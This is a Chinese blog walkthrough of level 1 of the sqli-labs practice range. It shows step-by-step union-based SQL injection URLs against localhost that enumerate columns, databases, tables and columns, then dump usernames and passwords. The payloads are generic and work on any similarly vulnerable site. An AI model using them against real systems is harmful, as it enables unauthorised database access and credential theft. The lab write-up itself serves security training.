sqli-labs通关笔记

SQL注入靶场Sqli-Labs 1-65关全部通关笔记【持续更新】 - rebootORZ - 博客园 (cnblogs.com)

Less-1

单引号报错,确认存在注入点:

http://127.0.0.1/sqli-labs/Less-1/?id=1'

image-20240507132019873

猜测网络数据库的字段数:4字段报错,证明字段少于4,再次猜测

http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 1,2,3,4--+

image-20240507133701444

稍微减少一点进行猜测,猜测有3个字段:

http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 1,2,3--+

image-20240507133817799

3字段未报错,证明应该是存在3个字段的;使用union注入查看哪些字段是有回显的

这里为了不让前面id=1的查询成功影响我们的判断,所以将1改为任意使其查询失败的值(当然也可以用 and 1=2之类的,只要能查询失败即可)

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,3--+

image-20240507134733342

可以看到只有字段2和3的位置是存在回显的,所以我们此时需要通过字段2和3进行查询数据库的信息。

接下我们使用字段2和3会先数据库名和数据库版本信息

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,database(),version()--+

image-20240507135215349

可知数据库的名称是security,数据库版本是:5.0.96-community

查询所有的数据库名

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata--+

image-20240507135531614

可以看到存在三个数据库分别为information_schema,challenges,mysql,security

查看security数据库下的所有表名

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

image-20240507135857727

可以看到security数据库中所有的表名emails,referers,uagents,users

根据表名可以看出users表内的数据信息可能更加重要,查看users表内的列名

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

image-20240507140322639

可以看到该表存储这用户名和密码,再次通过查表得到这些用户名和密码

http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from users--+

image-20240507140613071
确实得到了用户名和密码,此关卡也就到此结束了,对于实际情况下,则能够运用这些用户名和密码进行进一步的攻击了。


sqli-labs通关笔记
http://candyb0x.github.io/2024/05/07/sqli-labs通关笔记/
作者
Candy
发布于
2024年5月7日
更新于
2024年5月16日
许可协议